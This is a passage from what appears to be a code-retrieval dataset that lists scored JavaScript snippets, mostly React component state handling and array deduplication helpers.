{\n super(props);\n \n this.state = {\n field: this.transformPropValue_field((this.props.appActions.dataSlots ? this.props.appActions.dataSlots['ds_topics'] : '')) || '',\n fieldCopy: this.transformPropValue_fieldCopy((this.props.appActions.dataSlots ? this.props.appActions.dataSlots['ds_topics'] : '')) || '',\n fieldCopy3: this.transformPropValue_fieldCopy3((this.props.appActions.dataSlots ? this.props.appActions.dataSlots['ds_topics'] : '')) || '',\n fieldCopy2: this.transformPropValue_fieldCopy2((this.props.appActions.dataSlots ? this.props.appActions.dataSlots['ds_topics'] : '')) || '',\n fieldCopy4: this.transformPropValue_fieldCopy4((this.props.appActions.dataSlots ? this.props.appActions.dataSlots['ds_topics'] : '')) || '',\n };\n }", "title": "" }, { "docid": "82454efb140c1e0691ef9eb80882b2be", "score": "0.5315025", "text": "function state2props(state){\n return {\n favorites: state.favorites,\n instructions: state.instructions\n }\n}", "title": "" }, { "docid": "ebeebd9066b291ac51dfcd192326967e", "score": "0.5298658", "text": "changeInput(inputType, input) {\n this.setState({\n [inputType]: input,\n });\n }", "title": "" }, { "docid": "8af35ce1a4baa89ad92d936c488de25e", "score": "0.5297148", "text": "setTruckType(state, {type, index}){\n state.trucks[index].type = type;\n }", "title": "" }, { "docid": "8c283160e7e084ca50b550c56d9dc283", "score": "0.52796566", "text": "set type(value) {}", "title": "" }, { "docid": "a18e7b3d61bb41d7444741c21fe96238", "score": "0.52749556", "text": "constructor (props) {\n super(props)\n this.state = {\n formInputs: [],\n type: '',\n addingUserObject: {},\n list: [], //for labs or ....\n options: []\n }\n }", "title": "" }, { "docid": "8a3c858e10a9082eab3fecabd0f01a4e", "score": "0.52736056", "text": "componentWillReceiveProps(nextProps){\n this.setState(prevState => ({\n type: nextProps.type,\n heading: nextProps.heading\n }));\n }", "title": "" }, { "docid": "3d0435c15aa8e4cd5bb1870998d0f1df", "score": "0.52655125", "text": "static getDerivedStateFromProps(props, state) {\n console.log('getDerivedStateFromProps', props);\n console.log('getDerivedStateFromProps', state);\n return {\n favoriteColor: props.favcol\n }\n }", "title": "" }, { "docid": "0cdf4a2be145eb546111d4c9fbc627e2", "score": "0.5265145", "text": "static getDerivedStateFromProps(props, state) {\n var i = 0;\n var putValue = []; // Values will be stored as dictionary in here\n var stop = props.category.length; // to know where to stop iterating\n //A while loop to iterate through categories and their corresponding input and put them in putValue array\n while (i < stop) {\n if (i == 0) {\n dict = {\n category: \"Income\",\n price: props.price[0],\n };\n } else {\n dict = {\n category: props.category[i],\n price: props.price[i],\n };\n }\n putValue.push(dict);\n i++;\n }\n i = 0; //resets the iteration index\n //Return function that puts whatever is in putValue into values\n return {\n values: putValue,\n };\n }", "title": "" }, { "docid": "291ae17e185226d9311a083fec96e8e8", "score": "0.5258111", "text": "typeAddr(e) {\n this.parent.enableMapUpdate();\n var type = this.parent.state.type;\n type[\"addr\"] = e;\n this.parent.setState({ type });\n this.addrValid();\n }", "title": "" }, { "docid": "a1cef76de8e22b3ad3a16ea4b3a12539", "score": "0.5250964", "text": "static getDerivedStateFromProps(props, state) {\n console.log('Cart getDerivedStateFromProps', props, state);\n\n let count = 0, \n amount = 0;\n\n for (let item of state.items) {\n amount += item.price * item.qty;\n count += item.qty;\n }\n\n // returning new derived state\n // new data is updated into state\n // calls render\n console.log('new state ', count, amount)\n return {\n count, // es6, count: count\n amount // es6, amount: amount\n }\n }", "title": "" }, { "docid": "831cb64aa1a482b9530e0eab5e48132a", "score": "0.52362835", "text": "function types (props) {\n return {CARD: 'card-' + props.type }\n}", "title": "" }, { "docid": "2e19c4bd12b4331fa89d3becb1714ff0", "score": "0.52218735", "text": "static getDerivedStateFromProps(props){\n console.log(props);\n console.log(\"received props\")\n return {\n savedList: props.savedList \n }\n }", "title": "" }, { "docid": "265e95177650c38010ca2a58b7796704", "score": "0.5211708", "text": "changeType(e) {\n const type = e.target.getAttribute(\"datavalue\");\n\n this.setState({\n type: type\n });\n this.props.onChange(type);\n return\n }", "title": "" }, { "docid": "44de538a9518935266579f27291047a6", "score": "0.5210059", "text": "handleRuleTypeChange(event, i) {\n const name = event.target.name;\n const value = event.target.value;\n\n const rules = [...this.state.node[name]];\n rules[i] = {...rules[i], ruleType: value};\n let new_node = {...this.state.node, [name]: rules};\n\n this.setState({\n node: new_node\n });\n }", "title": "" }, { "docid": "5bfce24788578e87708666b5fd8a2dc2", "score": "0.5207082", "text": "constructor(props) {\r\n super(props);\r\n this.state = { ...this.props.userData };\r\n }", "title": "" }, { "docid": "45840f31be1b48e8a1629acc0b380732", "score": "0.52023363", "text": "static getDerivedStateFromProps(props, state){\n // Ensures that the new props we recieve update the state\n let {name, description, codeExample} = props.detail\n if(name !== state.name){\n return {\n name:name,\n description:description,\n codeExample:codeExample,\n initialDescription:description,\n initialSnippet:codeExample\n }\n }else{\n return null\n }\n }", "title": "" }, { "docid": "a3a1daf07c3f5e9aa1d0bbe63fd85064", "score": "0.5196691", "text": "static initialize(obj, type) { \n obj['type'] = type;\n }", "title": "" }, { "docid": "a3a1daf07c3f5e9aa1d0bbe63fd85064", "score": "0.5196691", "text": "static initialize(obj, type) { \n obj['type'] = type;\n }", "title": "" }, { "docid": "72946f4279a51a3f47018607e8111c85", "score": "0.51933616", "text": "stateFromProps(props) {\n return FormConverter.paramsFromDrivetrain(props.drivetrain);\n }", "title": "" }, { "docid": "67edf6367d36c4c6b4b69042f9a1d8cb", "score": "0.51855516", "text": "typedesc(e) {\n var type = this.parent.state.type;\n type[\"desc\"] = e.target.value;\n this.parent.setState({type});\n this.descValid();\n }", "title": "" }, { "docid": "55269ac673ce8a1a3e82f972b4ae3e43", "score": "0.51769805", "text": "static getDerivedStateFromProps(props, state) {\n return {\n number_of_maintainers: props.number_of_maintainers,\n unpackedsize: props.unpackedsize,\n chosen_algo_for_prediction: props.chosen_algo_for_prediction\n };\n }", "title": "" }, { "docid": "0f13c65ff8951685c6609eae2b02822d", "score": "0.5167098", "text": "function loadProperties(clsName, type) {\n properties = {};\n properties.clsName = clsName;\n properties.type = type;\n clicked = true;\n }", "title": "" }, { "docid": "2e43c461b068483954c6b3f9b4b59207", "score": "0.51597947", "text": "function mapStateToProps(state, props) {\n return {\n annotations: state.annotations.annotations,\n files: state.files.files,\n currentFile: state.currentFile.currentFile,\n concepts: state.concepts.concepts,\n concept_types: state.concept_types.concept_types\n \n };\n}", "title": "" }, { "docid": "0111b8765058d6df02df5ee3ea8a1adf", "score": "0.51595986", "text": "function addType() {\n var newOptions = {\n alpha: 'Show all',\n blue: $('#blue').val(),\n green: $('#green').val(),\n red: $('#red').val(),\n yellow: $('#yellow').val()\n };\n\n updateFilter(newOptions);\n updateOptions(newOptions);\n storeTypes(newOptions);\n updateKeys(newOptions);\n $('#typeDiv').slideUp('fast');\n}", "title": "" }, { "docid": "f189466407be2ccb7cf6ccfe968f7b95", "score": "0.5151603", "text": "componentWillMount() {\n\t\tconst { types } = this.props.meta\n\t\tif (types && types.length > 0) {\n\t\t\tthis.setState({ filter: types[0].value })\n\t\t}\n\t}", "title": "" }, { "docid": "d4070859d3dda840e8a721cfd7402b45", "score": "0.51450276", "text": "updatePoke(pokeNum, type1,type2){\n this.setState({ [pokeNum]: [type1,type2]});\n }", "title": "" }, { "docid": "aa9fc34b13f9a5efc07a639915342246", "score": "0.5134023", "text": "static getDerivedStateFromProps(props, state) {\n console.log(\"getDerivedStateFromProps\");\n // return { count: 108 };\n return null;\n }", "title": "" }, { "docid": "607364c35d749ad8dbc397601f27245b", "score": "0.51313716", "text": "function mapStateToProps(state){\n return {\n //the left side key must be the name of the prop that you want to put info in\n isLoading:state.isLoading\n //the right side value is the name of the state\n }\n}", "title": "" }, { "docid": "77e99c8173cb52d6acabf6f1c4713d1f", "score": "0.51271045", "text": "updateType() {\n this.setState({\n type: this.serviceType.value\n });\n }", "title": "" }, { "docid": "afd8d133af4daa9553c7dd0a34026fa8", "score": "0.512204", "text": "updateStateAndNotify(props){\n let alertTypeCopy = this.state.alertType.slice()\n alertTypeCopy = props.data\n this.setState({alertType: alertTypeCopy});\n }", "title": "" }, { "docid": "73ea28818b2cfaf2d602a305ade94c0d", "score": "0.5117023", "text": "function state2Props(state) {\n return {\n restaurantList: state.restaurantList,\n };\n}", "title": "" }, { "docid": "f0eb12ca88ee49f4127dbad56f9cd261", "score": "0.51159865", "text": "constructor(props) {\n super();\n this.state = {\n start_date: \"\",\n end_date: \"\",\n pair: \"all\",\n type: \"\",\n onLoad: 0\n };\n }", "title": "" }, { "docid": "2483a49bd40a5631139a3f9ab19c9990", "score": "0.51093286", "text": "[EVENT_CHANGE_DISPLAY_TYPE](state, action) {\n return {\n ...state,\n [action.identify]: {\n ...state[action.identify],\n topoDisplayType: action.topoDisplayType\n }\n };\n }", "title": "" }, { "docid": "41861e3c57054029aa71dddf7e39c2bd", "score": "0.51077336", "text": "typedate(e) {\n var type = this.parent.state.type;\n type[\"date\"] = e;\n this.parent.setState({type});\n this.dateValid();\n }", "title": "" }, { "docid": "eae54448bdde4432985df5a07ea8c69d", "score": "0.5104863", "text": "computeInternalState() {\n const { data } = this.props;\n const { supported } = this.state;\n\n // Get a list of supported advanced properties for this data type\n const advancedPropsData = { ...(data || {}) };\n const selectPropOptions = {};\n const enabledProps = [];\n\n // Populate the internal state, using persisted or default values\n for (let [supportedProp, typeDef] of supported) {\n const propDataValue = advancedPropsData[supportedProp];\n const hasValue = !isNullOrUndefined(propDataValue);\n\n // Keep track of enabled props\n if (hasValue) {\n // If we have a value of type boolean, set the value, else set the wrapper to be enabled\n enabledProps.push(`${this.isPropertyOfType(typeDef, 'boolean') ? '' : 'toggle-'}${supportedProp}`);\n\n if (this.isPropertyOfType(typeDef, 'array') && typeDef.creatable) {\n // Creatable arrays save the options in the value\n selectPropOptions[supportedProp] = JSON.parse(propDataValue);\n }\n } else {\n // No saved value, pick defaults\n advancedPropsData[supportedProp] = typeDef.value;\n // Populate options in case of arrays\n }\n\n if (this.isPropertyOfType(typeDef, 'array') && !typeDef.creatable) selectPropOptions[supportedProp] = typeDef.options || [];\n }\n\n // Set the state\n return {\n advancedProps: advancedPropsData,\n selectPropOptions,\n enabledProps\n };\n }", "title": "" }, { "docid": "2c9eb633967b01de982901f9a9478aee", "score": "0.51029664", "text": "mapStateToProps(state,ownProps) {\n return Object.assign(super.mapStateToProps(state,ownProps),{\n uid: ownProps ? ownProps.uid : \"\",\n item: state.item[this.model.itemName] ? state.item[this.model.itemName] : {},\n itemSaveSuccessText: state.itemSaveSuccessText,\n collectionName: this.model.collectionName,\n updateCounter: state.updatesCounter,\n model: this.model\n })\n }", "title": "" }, { "docid": "52639d19cdf24316c284b8b79d982cd9", "score": "0.5097758", "text": "init(state, payload) {\n return {...state, ...payload};\n }", "title": "" }, { "docid": "db781693a0c17e4ee426b41cb4925a79", "score": "0.50870615", "text": "constructor(props) {\n super(props);\n this.state = {\n isNew: getInitIsNew(props) || props.isNew\n }\n }", "title": "" }, { "docid": "7fa8fd8cbe4fca8715b28c7c076f0a77", "score": "0.5085275", "text": "updateTraits(newTraits) {\n const { traits } = this.store.getState();\n this.store.updateState({\n traits: { ...traits, ...newTraits },\n });\n }", "title": "" }, { "docid": "63ed558a08c9891723e2ce2f24973383", "score": "0.50807285", "text": "inputType() {\n\t\tconsole.log(this.props.type);\n\t\tif (this.props.type === \"age\") {\n\t\t\treturn (\n\t\t\t\t<TextInput\n\t\t\t\t\tkeyboardType={\"numeric\"}\n\t\t\t\t\tplaceholder=\"Edit...\"\n\t\t\t\t\ttype=\"text\"\n\t\t\t\t\tstyle={styles.input}\n\t\t\t\t\tonChangeText={(text) => this.onChangeAge(text)}\n\t\t\t\t\tmaxLength={3}\n\t\t\t\t/>\n\t\t\t);\n\t\t} else {\n\t\t\treturn (\n\t\t\t\t<TextInput\n\t\t\t\t\tplaceholder=\"Edit...\"\n\t\t\t\t\ttype=\"text\"\n\t\t\t\t\tstyle={styles.input}\n\t\t\t\t\tonChangeText={(edit) => this.setState({ edit })}\n\t\t\t\t/>\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "d0ce24577949b6da91a4568eb8b4ede2", "score": "0.50788254", "text": "changeWithProps() {\n\t\tthis.setState((state, props) => {\n\t\t\treturn {\n\t\t\t\ttitle: props.data1,\n\t\t\t\tsubtitle: props.data2\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "ce54a0a5e1b3ee81bcb2b8537fe29183", "score": "0.50740033", "text": "checkForState2(){\n if(this.props.type==\"1\"){\n this.setState({\n imageSource: p1,\n });\n } else if(this.props.type==\"2\"){\n this.setState({\n imageSource: p2,\n })\n } else{\n \tthis.setState({\n \t\timageSource: empty,\n \t})\n }\n }", "title": "" }, { "docid": "00637cc93dc74f208812db4c513ed3fb", "score": "0.50728697", "text": "constructor (props) {\n super(props);\n this.state = { \n gender: 'men',\n eventType: 'raw',\n liftType: 'threeLift',\n bodyWeight: '',\n total: '',\n units: 'kilos',\n ipfScore: '0.0',\n wilksScore: '0.0',\n }\n }", "title": "" }, { "docid": "14215c776b750169bffc3a18727ff1fd", "score": "0.50632405", "text": "constructor(props) {\r\n super(props);\r\n this.state = {\r\n ...props,\r\n dialogs:{},\r\n components:{},\r\n actionInList:[],\r\n fwParam:{...props.fwParam},\r\n buttonSize: props.buttonSize?props.buttonSize:'small',\r\n selectedKeys:[],\r\n selectedRecord:null,\r\n showCheckBox:props.showCheckBox?props.showCheckBox:false,\r\n checkStrictly:false,\r\n checkedKeys:{},\r\n expandedAllNodes:false,\r\n expandedKeys:[],\r\n loadedKeys:{},\r\n };\r\n }", "title": "" }, { "docid": "c2ef301255b65e25c040c9056727a8c9", "score": "0.5060495", "text": "setProps(props) {\n if ('debug' in props) {\n this._debug = props.debug;\n } // A way for apps to add data to context that can be accessed in layers\n\n\n if ('userData' in props) {\n this.context.userData = props.userData;\n } // New layers will be processed in `updateLayers` in the next update cycle\n\n\n if ('layers' in props) {\n this._nextLayers = props.layers;\n }\n\n if ('onError' in props) {\n this.context.onError = props.onError;\n }\n }", "title": "" }, { "docid": "7c112743be2fe92e6ba65f5342a1d3bf", "score": "0.50553024", "text": "static getDerivedStateFromProps(props, state) {\n return {rate : props.rate}\n }", "title": "" }, { "docid": "439e69e7d1be8d8ac470db86e611cc9c", "score": "0.505311", "text": "static get properties() { return {\nstate: {type:Object},\nimgSrc:{type:String},\nimgAlt:{type:String},\ntitle:{type:String},\ndescription:{type:String},\nbuttonLink:{type:String},\nbuttonText:{type:String}\n}}", "title": "" }, { "docid": "28f0fcfbb0597f80211ab89208e6527e", "score": "0.5052224", "text": "addPiece(type, point) {\n\t\tif (type === 1) {\n\t\t\tthis.dark++;\n\t\t} else if (type === 2) {\n\t\t\tthis.light++;\n\t\t}\n\n\t\tthis.state[point.toArrayIndex(this.size)] = type;\n\t}", "title": "" }, { "docid": "fe4dca1e32ba4756f7634c6d4ea70d02", "score": "0.50508493", "text": "componentWillReceiveProps(nextProps) {\n let params = {};\n if(nextProps.hasOwnProperty(\"params\")) {\n Object.keys(nextProps.params).map((key) => {\n if(nextProps.params[key].type === \"select\")\n params[key] = nextProps.params[key][\"value\"][0];\n else\n params[key] = nextProps.params[key][\"value\"];\n })\n }\n this.setState({\n parent_names: nextProps.parent_names,\n type: nextProps.type,\n name: nextProps.name,\n input: nextProps.input,\n params: params});\n }", "title": "" }, { "docid": "3f8990979f572e2058fd5b85f1728fcb", "score": "0.50504875", "text": "updateActiveAgency(props) {\n let activeAgency = {\n slug: '',\n agency: '',\n catchment_area: '',\n program_type: '',\n office_location: '',\n lat: '',\n lng: '',\n marker_color: '#000000'\n };\n\n if (this.state.activeAgency) {\n activeAgency = Object.assign(activeAgency, this.state.activeAgency);\n }\n\n this.setState({\n activeAgency: Object.assign(activeAgency, props),\n });\n }", "title": "" }, { "docid": "52502bf45236f8f7d65785dfc4cde973", "score": "0.50435543", "text": "function state2props(state){\n return {\n favorites: [\n 'Yummi Bahn-Mi',\n 'Billy-Ray\\'s Awesome Traveling BBQ',\n 'Generic Food Truck for Testing Purposes',\n 'Tin-tin',\n 'Pop Shop on Wheels',\n 'Another generic name...',\n ],\n }\n}", "title": "" }, { "docid": "407c94c5f45549982f827544d28b256f", "score": "0.50426596", "text": "constructor(props) {\n super(props);\n //State\n this.state = { term: 'type something...' };\n }", "title": "" }, { "docid": "c87d85794ccc545f4420791e93b60320", "score": "0.5040114", "text": "_setExpenseCategory (type) {\n this.setState({\n type: type,\n })\n }", "title": "" }, { "docid": "b905d744f31456bc82b7ffd1c27e095e", "score": "0.5035523", "text": "updateStateStorageAndFireInputEvent(valueType) {\n this.storePropertyState(valueType);\n if (this._isUserInteraction) {\n this.fireEvent(\"input\");\n }\n }", "title": "" }, { "docid": "6490d11cebd4834d601cd295cae70420", "score": "0.5032459", "text": "activatedValid() {\n let type = this.parent.state.type;\n var isValid = TypeValidationService.isNotNull(type[\"activated\"]);\n type[\"activatedState\"] = TypeValidationService.getValidationClass(isValid);\n this.parent.setState({ type });\n }", "title": "" }, { "docid": "29235a4067701fa91fac502553ec2958", "score": "0.5029606", "text": "componentWillReceiveProps(newProps){\n\t\t//console.log('got some new props yo');\n\t\tif(newProps.startDate !== undefined){\n\t\t\t// var date = newProps.startDate.split('|');\n\t\t\t// var date2 = newProps.startDate.split('|');\n\t\t\tlet start = newProps.startDate;\n\t\t\tlet end = moment(newProps.startDate).add(1, 'h');\n\t\t\tthis.state.startDate = moment(start).format('LL');\n\t\t\tthis.state.startTime = moment(start).format('LT');\n\t\t\tthis.state.endDate = moment(end).format('LL');\n\t\t\tthis.state.endTime = moment(end).format('LT');\n\t\t\t$('#privacy-checkbox').bootstrapSwitch('state', false);\n\t\t\tthis.clear();\n\t\t}\n\t}", "title": "" }, { "docid": "22ab655c8f912a2abe3bb02159bbe363", "score": "0.50271404", "text": "logUser(state, newProps) {\n Object.assign(state.user, newProps)\n\n }", "title": "" }, { "docid": "56fcb9fef0c6b37e2c9f1768d5eece94", "score": "0.5025891", "text": "addTrialProperty() {\n if (this.state.propertyName === \"\") {\n this.newPropertyName.classList.add(\"error\");\n }\n if (this.state.columnLabel === \"\") {\n this.newPropertyColumnLabel.classList.add(\"error\");\n }\n\n if (this.state.propertyName !== \"\" && this.state.columnLabel !== \"\") {\n if (this.props.dataType !== \"List\") {\n //forward to creating trial properties\n this.props.createTrialProperty({\n name: this.state.propertyName,\n columnLabel: this.state.columnLabel,\n dataType: this.dataTypeMapping[this.props.dataType],\n listOfValues: this.props.dataType === \"List\",\n })\n // this.setState({propertyName: '', columnLabel: ''})\n }\n else {\n this.setState({activeTab: 'values'});\n // in case of list type,navigate to values tab.\n }\n\n }\n }", "title": "" }, { "docid": "3f3b18b98bdf27693393adb062f906d5", "score": "0.5024753", "text": "getAccType(value)\n {\n this.setState(prevState => ({\n userdata: {\n ...prevState.userdata,\n accType: value\n }\n }))\n\n }", "title": "" }, { "docid": "e8544bd7d4ca75e1d8b87646808498c5", "score": "0.5021153", "text": "constructor( props ) {\n super( props );\n\n this.state = {\n Vector: this.assignVector( this.props.name )\n\n };\n }", "title": "" }, { "docid": "d6928661e634f2e49a3643d98e7cce2d", "score": "0.50196207", "text": "static getDerivedStateFromProps(newProps, prevState) {\n if (newProps.list !== prevState.foodList && newProps.total !== prevState.total) {\n return { foodList: newProps.list, total: newProps.total };\n }\n return null;\n }", "title": "" }, { "docid": "0f6c6a2468e658fff4d839ef4bc69439", "score": "0.50166124", "text": "static getDerivedStateFromProps(props, state) {\n if (props.viewedTodo._id !== state.update._id) {\n return {\n update: {\n activity: props.viewedTodo.activity,\n _id: props.viewedTodo._id\n }\n };\n }\n return null;\n }", "title": "" }, { "docid": "969297bc79eabbea83aa55b168b93c76", "score": "0.5010087", "text": "saveProperty() {\n this.props.createTrialProperty({\n name: this.state.propertyName,\n columnLabel: this.state.columnLabel,\n dataType: this.dataTypeMapping[this.props.dataType],\n listOfValues: this.props.dataType === \"List\",\n propertyValues: this.state.listOfValues\n })\n }", "title": "" }, { "docid": "30f58d7018194aeefdce3de03fa9f6f7", "score": "0.50075656", "text": "weightType(state, { type, types, weight }) {\n if ( !types ) {\n types = [];\n }\n\n if ( type ) {\n types.push(type);\n }\n\n for ( const t of types ) {\n state.typeWeights[t.toLowerCase()] = weight;\n }\n }", "title": "" } ]
e10388027e90f257fa84932faf456d76
Creates an array without any duplicate item. If a key function is passed, items will be compared based on the result of that function; if not, they will be compared using strict equality.
[ { "docid": "d10d8ee85f844a3b5383b664d5160d84", "score": "0.5921542", "text": "function distinct(getKey) {\n var arr = this.value(), result = [];\n var keySet;\n var refList;\n if (getKey)\n keySet = {};\n else\n refList = [];\n for (var i = 0; i < arr.length; i++) {\n var item = arr[i];\n if (getKey) {\n var key = getKey(item, i);\n if (!keySet[key]) {\n keySet[key] = 1;\n result.push(item);\n }\n }\n else {\n if (refList.indexOf(item) === -1) {\n refList.push(item);\n result.push(item);\n }\n }\n }\n return new _1.ArrayOps(result);\n}", "title": "" } ]
[ { "docid": "e31530f722f1a583a951651513e91039", "score": "0.64714736", "text": "function uniqBy(arr, key) {\n\tvar items = {};\n\treturn arr.filter(function(item) {\n\t\tvar k = key(item);\n\t\treturn items.hasOwnProperty(k) ? false : (items[k] = true);\n\t})\n}", "title": "" }, { "docid": "e5897dbe2c66fabdd2657d71fc23db56", "score": "0.6469229", "text": "function uniqBy(array, key) {\n var seen = {};\n return array.filter(function (item) {\n var k = key(item);\n return seen.hasOwnProperty(k) ? false : (seen[k] = true);\n });\n}", "title": "" }, { "docid": "f1b3c369646e14ea9711acda2bcf8a73", "score": "0.64396924", "text": "function distinct(array, keyFn) {\n if (!keyFn) {\n return array.filter(function (element, position) {\n return array.indexOf(element) === position;\n });\n }\n\n var seen = Object.create(null);\n return array.filter(function (elem) {\n var key = keyFn(elem);\n\n if (seen[key]) {\n return false;\n }\n\n seen[key] = true;\n return true;\n });\n}", "title": "" }, { "docid": "bdb4d8af5013144a13ff2d1adfba97c2", "score": "0.6432231", "text": "function distinct(array, keyFn) {\n if (!keyFn) {\n return array.filter(function (element, position) {\n return array.indexOf(element) === position;\n });\n }\n var seen = Object.create(null);\n return array.filter(function (elem) {\n var key = keyFn(elem);\n if (seen[key]) {\n return false;\n }\n seen[key] = true;\n return true;\n });\n}", "title": "" }, { "docid": "bdb4d8af5013144a13ff2d1adfba97c2", "score": "0.6432231", "text": "function distinct(array, keyFn) {\n if (!keyFn) {\n return array.filter(function (element, position) {\n return array.indexOf(element) === position;\n });\n }\n var seen = Object.create(null);\n return array.filter(function (elem) {\n var key = keyFn(elem);\n if (seen[key]) {\n return false;\n }\n seen[key] = true;\n return true;\n });\n}", "title": "" }, { "docid": "25b7456e5219ed2b60f0be882f2cc14f", "score": "0.64161026", "text": "function distinct(array, keyFn) {\n if (!keyFn) {\n return array.filter((element, position) => {\n return array.indexOf(element) === position;\n });\n }\n const seen = Object.create(null);\n return array.filter(elem => {\n const key = keyFn(elem);\n if (seen[key]) {\n return false;\n }\n seen[key] = true;\n return true;\n });\n}", "title": "" }, { "docid": "c3c816f0df4c0c818d027d862925ac06", "score": "0.63529605", "text": "function removeDuplicatesUsingFilter1(a, key) {\n var index = [];\n return a.filter(function(item) {\n var k = key(item);\n return index.indexOf(k) ? false : index.push(k);\n });\n}", "title": "" }, { "docid": "4aa972661aa58096173c4176e0a7daf4", "score": "0.61744875", "text": "function ArrNoDupe(a) {\n var temp = {};\n for (var i = 0; i < a.length; i++)\n temp[a[i]] = true;\n var r = [];\n for (var k in temp)\n r.push(k);\n return r;\n }", "title": "" }, { "docid": "d613a9e0288f363c0962da3c1703b4ef", "score": "0.6145061", "text": "function removeDuplicatesUsingFilter(a, key) {\n var seen = {};\n return a.filter(function(item) {\n var k = key(item);\n return seen.hasOwnProperty(k) ? false : (seen[k] = true);\n });\n\n}", "title": "" }, { "docid": "5f97f65895c9541679779f76a10c0fd3", "score": "0.6013064", "text": "function getUniqueValuesOfKey(array, key){\n return array.reduce(function(carry, item){\n if(item[key] && !~carry.indexOf(item[key])) carry.push(item[key]);\n return carry;\n }, []);\n }", "title": "" }, { "docid": "515fe1d1c278e330d211b4a8ae2518ba", "score": "0.59598184", "text": "function getUniqueValuesOfKey(array, key) {\n return array.reduce(function(carry, item) {\n if (item[key] && !~carry.indexOf(item[key])) carry.push(item[key]);\n return carry;\n }, []);\n}", "title": "" }, { "docid": "a7c6ef2401c06d3caa860fc40a8dd01d", "score": "0.5947766", "text": "function distinct(getKey) {\n var arr = this.value(),\n result = [];\n var keySet;\n var refList;\n if (getKey) keySet = {};else refList = [];\n for (var i = 0; i < arr.length; i++) {\n var item = arr[i];\n if (getKey) {\n var key = getKey(item, i);\n if (!keySet[key]) {\n keySet[key] = 1;\n result.push(item);\n }\n } else {\n if (refList.indexOf(item) === -1) {\n refList.push(item);\n result.push(item);\n }\n }\n }\n return new ArrayOps(result);\n}", "title": "" }, { "docid": "898576e53add90fa716199d1c9d2397e", "score": "0.5928709", "text": "function remDup(arr) {\n if (arr === null){\n console.log(\"ERR: duplication cant be perfomed on null\");\n } else {\n let uniqueItems = {};\n arr.forEach(function(i) {\n if(!uniqueItems[i]) {\n uniqueItems[i] = true;\n }\n });\n return Object.keys(uniqueItems);\n }\n}", "title": "" }, { "docid": "4aec3094583c3d491e13841f4fe62376", "score": "0.5906855", "text": "function uniqueobj(x) {\n var newArray = new Array();\n label: for (var i = 0; i < x.length; i++) {\n for (var j = 0; j < newArray.length; j++) {\n if (_.isEqual(newArray[j], x[i])) {\n continue label;\n }\n }\n newArray[newArray.length] = x[i];\n }\n return newArray;\n}", "title": "" }, { "docid": "82f9caffcb66176636b0b2d02902c0d1", "score": "0.5893729", "text": "function removeDupli(arr) {\n var hashTable = {};\n return arr.filter(function (el) {\n var key = JSON.stringify(el);\n var match = Boolean(hashTable[key]);\n return (match ? false : hashTable[key] = true);\n });\n}", "title": "" }, { "docid": "ee73f2687a2134ec15e1ad0e95346bf0", "score": "0.58833617", "text": "function unique_hash(arr) {\r\n\tvar seen = {}\r\n\r\n\treturn arr.filter(function (item) {\r\n\t\treturn seen.hasOwnProperty(item) ? false : (seen[item] = true);\r\n\t})\r\n}", "title": "" }, { "docid": "4e74be109e6a5c874278ddbac6330ac5", "score": "0.586579", "text": "function arrKeep( arr, func ) {\n return arrMappend( arr, function ( v, k ) {\n return func( v, k ) ? [ v ] : [];\n } );\n}", "title": "" }, { "docid": "de93f1c67a60091d5d1f58ab050faa5b", "score": "0.58512104", "text": "function hopUnique(arr) {\n\tvar tempObj = {};\n\treturn arr.filter(function(item) {\n\t\treturn tempObj.hasOwnProperty(item) ? false : (tempObj[item]) = true;\n\t})\n}", "title": "" }, { "docid": "a4eb40517d0728e80b79e979f697d6fb", "score": "0.5837783", "text": "function removeDuplicates(array, key) {\n return array.reduce((accumulator, element) => {\n if (!accumulator.find(el => el[key] === element[key]) && element[key] !== '') {\n accumulator.push(element);\n }\n return accumulator;\n }, []);\n}", "title": "" }, { "docid": "12d7e56500a58995d4da3dc48e7d8874", "score": "0.5831592", "text": "uniqueByKey(...keys) {\n if (Array.isArray(keys[0])) {\n keys = keys[0]\n }\n return this.uniqueBy((one, two) => {\n return keys.every((key, i) => {\n return (one[key] === two[key])\n })\n })\n }", "title": "" }, { "docid": "7d0970c6b23686bd43612f6ae0957df7", "score": "0.5728146", "text": "function arrayUnique(arr) {\n var u = {}, a = [];\n\n for (var i=0, l=arr.length; i<l; i++){\n var k = arr[i];\n if (u[k]) {\n continue;\n }\n a.push(k);\n u[k] = true;\n }\n\n return a;\n}", "title": "" }, { "docid": "c533e4356934393c3ad016980c81b32b", "score": "0.5727967", "text": "function arrayUnique(arr) {\n\t var u = {}, a = [];\n\n\t for (var i=0, l=arr.length; i<l; i++){\n\t var k = arr[i];\n\t if (u[k]) {\n\t continue;\n\t }\n\t a.push(k);\n\t u[k] = true;\n\t }\n\n\t return a;\n\t}", "title": "" }, { "docid": "32113a9327bcbec50cdb8d1a36af166c", "score": "0.57245576", "text": "function uniqueBy(list, key) {\n var seen = {};\n return list.filter(function (item) {\n var k = key(item);\n return seen.hasOwnProperty(k) ? false : (seen[k] = true);\n })\n}", "title": "" }, { "docid": "073574ad14f8e577832b3251ea1ce8fe", "score": "0.572201", "text": "function unique(arr) {\n var hash = {}, result = [];\n for (var i = 0, l = arr.length; i < l; ++i) {\n if (!hash.hasOwnProperty(arr[i])) {//it works with objects! in FF, at least\n hash[arr[i]] = true;\n result.push(arr[i]);\n }\n }\n return result;\n}", "title": "" }, { "docid": "fec9af2e2d654239e5915d6ea2483459", "score": "0.5705516", "text": "function uniq(arr) {\n var seen = {};\n return arr.filter(function (item) {\n return Object.prototype.hasOwnProperty.call(seen, item) ? false : seen[item] = true;\n });\n}", "title": "" }, { "docid": "2bbf5c0de12edce0189264f8b3a0dbaa", "score": "0.5647966", "text": "function uniq(a) {\n var seen = {};\n return a.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "2bbf5c0de12edce0189264f8b3a0dbaa", "score": "0.5647966", "text": "function uniq(a) {\n var seen = {};\n return a.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "2bbf5c0de12edce0189264f8b3a0dbaa", "score": "0.5647966", "text": "function uniq(a) {\n var seen = {};\n return a.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "902db3893b37a4d420c42fdbfdce3154", "score": "0.5636264", "text": "function uniq(arr) {\n return arr;\n}", "title": "" }, { "docid": "663a39cf14f692d5f93a2cf41182e68d", "score": "0.56261736", "text": "function 